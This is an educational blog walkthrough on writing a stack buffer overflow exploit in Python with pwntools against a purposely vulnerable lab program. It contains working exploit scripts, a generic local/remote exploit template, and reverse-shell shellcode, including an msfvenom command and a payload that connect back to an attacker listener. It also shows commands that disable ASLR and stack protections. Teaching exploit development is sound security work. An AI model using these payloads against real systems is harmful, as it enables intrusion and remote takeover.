Skip to main content
🧠Educationaladvanced7 min read
β€’

Walkthrough: Creating an Exploit in Python

Learn exploit development fundamentals by creating a simple buffer overflow exploit in Python, step by step.

exploit developmentPythonbuffer overflowsecurity research

Walkthrough: Creating an Exploit in Python

Exploit development is a fundamental skill for security researchers. This walkthrough covers creating a basic buffer overflow exploit in Python, explaining each step of the process.

Prerequisites

Before starting, you should understand:

  • Basic Python programming
  • Memory layout (stack, heap, registers)
  • Assembly language fundamentals
  • How functions are called (calling conventions)

Lab Setup

Target Application

We'll use a simple vulnerable C program:

// vuln.c
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
    printf("You entered: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Compile Without Protections

# Disable security features for learning
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

# Disable ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Warning: Only do this in a controlled lab environment!

Tools Needed

  • Python 3
  • GDB with PEDA/GEF extension
  • pwntools library
pip install pwntools

Phase 1: Fuzzing and Crash Analysis

Step 1: Identify the Vulnerability

The strcpy() function copies input without checking length. If input exceeds 64 bytes, it overwrites adjacent memory.

Step 2: Cause a Crash

#!/usr/bin/env python3
# fuzzer.py

import subprocess
import sys

def fuzz(length):
    payload = "A" * length
    try:
        result = subprocess.run(
            ["./vuln", payload],
            capture_output=True,
            timeout=5
        )
        print(f"Length {length}: Program returned normally")
    except subprocess.TimeoutExpired:
        print(f"Length {length}: Timeout")
    except Exception as e:
        print(f"Length {length}: {e}")

# Fuzz with increasing lengths
for i in range(50, 150, 10):
    fuzz(i)

Run the fuzzer:

python3 fuzzer.py

At some point, the program crashes (segmentation fault).

Phase 2: Finding the Offset

Step 3: Generate a Pattern

Use a unique pattern to find exactly where the return address is:

#!/usr/bin/env python3
# find_offset.py

from pwn import *

# Generate a cyclic pattern
pattern = cyclic(100)
print(pattern.decode())

Step 4: Analyze the Crash

Run with GDB:

gdb ./vuln
run $(python3 -c "from pwn import *; print(cyclic(100).decode())")

When it crashes, check the instruction pointer:

Program received signal SIGSEGV
EIP: 0x61616166

Step 5: Calculate the Offset

from pwn import *

# Find the offset
offset = cyclic_find(0x61616166)  # 'faaa' in little-endian
print(f"Offset: {offset}")  # Should be 76

We now know: 76 bytes to reach the return address.

Phase 3: Controlling Execution

Step 6: Verify Control

#!/usr/bin/env python3
# verify_control.py

from pwn import *

offset = 76
junk = b"A" * offset
return_address = b"BBBB"

payload = junk + return_address

# Save to file
with open("payload", "wb") as f:
    f.write(payload)

print(f"Payload length: {len(payload)}")

Test in GDB:

gdb ./vuln
run $(cat payload)

Expected crash:

EIP: 0x42424242  # 'BBBB'

We control EIP!

Phase 4: Finding Space for Shellcode

Step 7: Analyze Available Space

#!/usr/bin/env python3
# analyze_space.py

from pwn import *

offset = 76
junk = b"A" * offset
return_address = b"BBBB"
after_eip = b"C" * 100  # Check space after return address

payload = junk + return_address + after_eip

with open("payload", "wb") as f:
    f.write(payload)

In GDB, examine memory after the crash:

x/50x $esp

We see our "C"s in memoryβ€”there's space for shellcode!

Phase 5: Finding a Return Address

Step 8: Find JMP ESP Gadget

We need an address that jumps to our shellcode:

# In GDB with PEDA
jmpcall esp

Or use ROPgadget:

ROPgadget --binary vuln | grep "jmp esp"

Let's say we find: 0x08049196

Step 9: Alternative - Use ESP Address

If no JMP ESP, find where our buffer is:

# In GDB after crash
x/20x $esp

Note an address pointing to our controlled data.

Phase 6: Creating Shellcode

Step 10: Generate Shellcode

Using msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=192.168.1.10 \
    LPORT=4444 \
    -b "\x00" \
    -f python

Or using pwntools:

from pwn import *

# Set context
context.arch = 'i386'
context.os = 'linux'

# Simple execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)}")

Phase 7: Building the Final Exploit

Step 11: Complete Exploit

#!/usr/bin/env python3
# exploit.py

from pwn import *

# Configuration
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'

# Exploit parameters
offset = 76
jmp_esp = p32(0x08049196)  # JMP ESP address
nop_sled = b"\x90" * 16    # NOP sled for reliability

# Shellcode - execve("/bin/sh")
shellcode = asm(shellcraft.sh())

# Build payload
payload = b""
payload += b"A" * offset      # Fill buffer
payload += jmp_esp            # Overwrite return address
payload += nop_sled           # NOP sled
payload += shellcode          # Our shellcode

# Exploit
log.info(f"Payload length: {len(payload)}")
log.info(f"Shellcode length: {len(shellcode)}")

# Method 1: Run locally
p = process(["./vuln", payload])
p.interactive()

Step 12: Remote Exploit Version

If the vulnerable service is remote:

#!/usr/bin/env python3
# remote_exploit.py

from pwn import *

context.arch = 'i386'
context.log_level = 'info'

# Remote target
HOST = "192.168.1.100"
PORT = 9999

# Exploit parameters
offset = 76
jmp_esp = p32(0x08049196)
nop_sled = b"\x90" * 16

# Reverse shell shellcode
shellcode = asm(shellcraft.connect("192.168.1.10", 4444) + 
                shellcraft.dupsh())

# Build payload
payload = b"A" * offset
payload += jmp_esp
payload += nop_sled
payload += shellcode

# Connect and exploit
log.info(f"Connecting to {HOST}:{PORT}")
p = remote(HOST, PORT)

log.info("Sending payload...")
p.sendline(payload)

log.success("Payload sent! Check your listener.")
p.interactive()

Phase 8: Handling Bad Characters

Step 13: Identify Bad Characters

Some characters break exploits (null bytes, newlines, etc.):

#!/usr/bin/env python3
# badchars.py

# Generate all characters except null
badchars = bytes(range(1, 256))

# Test payload
payload = b"A" * offset + b"BBBB" + badchars

In GDB, examine if all bytes made it through:

x/256x $esp

Compare with expected sequence to find bad characters.

Step 14: Encode Shellcode

Remove bad characters:

from pwn import *

context.arch = 'i386'

# Avoid bad characters
shellcode = asm(shellcraft.sh())

# If you need encoding
# Use msfvenom with -b flag for bad chars
# Or manually encode

Complete Exploit Template

#!/usr/bin/env python3
"""
Exploit Template
Target: vuln application
Vulnerability: Stack buffer overflow in vulnerable_function()
"""

from pwn import *
import sys

# ==================== CONFIGURATION ====================
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'

# Offset to return address
OFFSET = 76

# Address of JMP ESP gadget (adjust for target)
JMP_ESP = 0x08049196

# Bad characters to avoid
BADCHARS = b"\x00"

# ==================== SHELLCODE ====================
def generate_shellcode():
    """Generate shellcode based on requirements"""
    # Local shell
    return asm(shellcraft.sh())
    
    # Or reverse shell
    # return asm(shellcraft.connect(LHOST, LPORT) + shellcraft.dupsh())

# ==================== EXPLOIT ====================
def build_payload():
    """Construct the exploit payload"""
    shellcode = generate_shellcode()
    
    payload = b""
    payload += b"A" * OFFSET          # Junk to fill buffer
    payload += p32(JMP_ESP)           # Return address
    payload += b"\x90" * 16           # NOP sled
    payload += shellcode              # Shellcode
    
    return payload

def exploit_local(binary):
    """Exploit local binary"""
    payload = build_payload()
    p = process([binary, payload])
    p.interactive()

def exploit_remote(host, port):
    """Exploit remote service"""
    payload = build_payload()
    p = remote(host, port)
    p.sendline(payload)
    p.interactive()

# ==================== MAIN ====================
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <local|remote> [args]")
        print(f"  Local:  {sys.argv[0]} local ./vuln")
        print(f"  Remote: {sys.argv[0]} remote HOST PORT")
        sys.exit(1)
    
    if sys.argv[1] == "local":
        exploit_local(sys.argv[2])
    elif sys.argv[1] == "remote":
        exploit_remote(sys.argv[2], int(sys.argv[3]))

Modern Mitigations

This basic exploit works because protections are disabled. Modern systems have:

ASLR (Address Space Layout Randomization)

  • Randomizes memory addresses
  • Bypass: Information leak, brute force, return-to-plt

Stack Canaries

  • Detect buffer overflows
  • Bypass: Information leak, format strings

NX/DEP (Non-Executable Stack)

  • Prevents executing stack data
  • Bypass: Return-oriented programming (ROP)

PIE (Position Independent Executable)

  • Randomizes code addresses
  • Bypass: Information leak

Key Takeaways

  1. Understand the vulnerability before writing exploits
  2. Document each step of your process
  3. Test incrementally - verify each stage works
  4. Handle edge cases - bad characters, space constraints
  5. Learn mitigations - real exploits must bypass protections

Further Learning

  • Stack-based exploitation β†’ Heap exploitation
  • Simple overflows β†’ ROP chains
  • Linux β†’ Windows exploitation
  • x86 β†’ x64 exploitation

Want to learn more about exploit development? Contact us: m1k3@msquarellc.net

Found this helpful? Share it:

Need Help With This?

Have questions about implementing these security practices? Let's discuss your specific needs.

Get in Touch

More in Educational

Explore more articles in this category.

Browse 🧠 Educational

Related Articles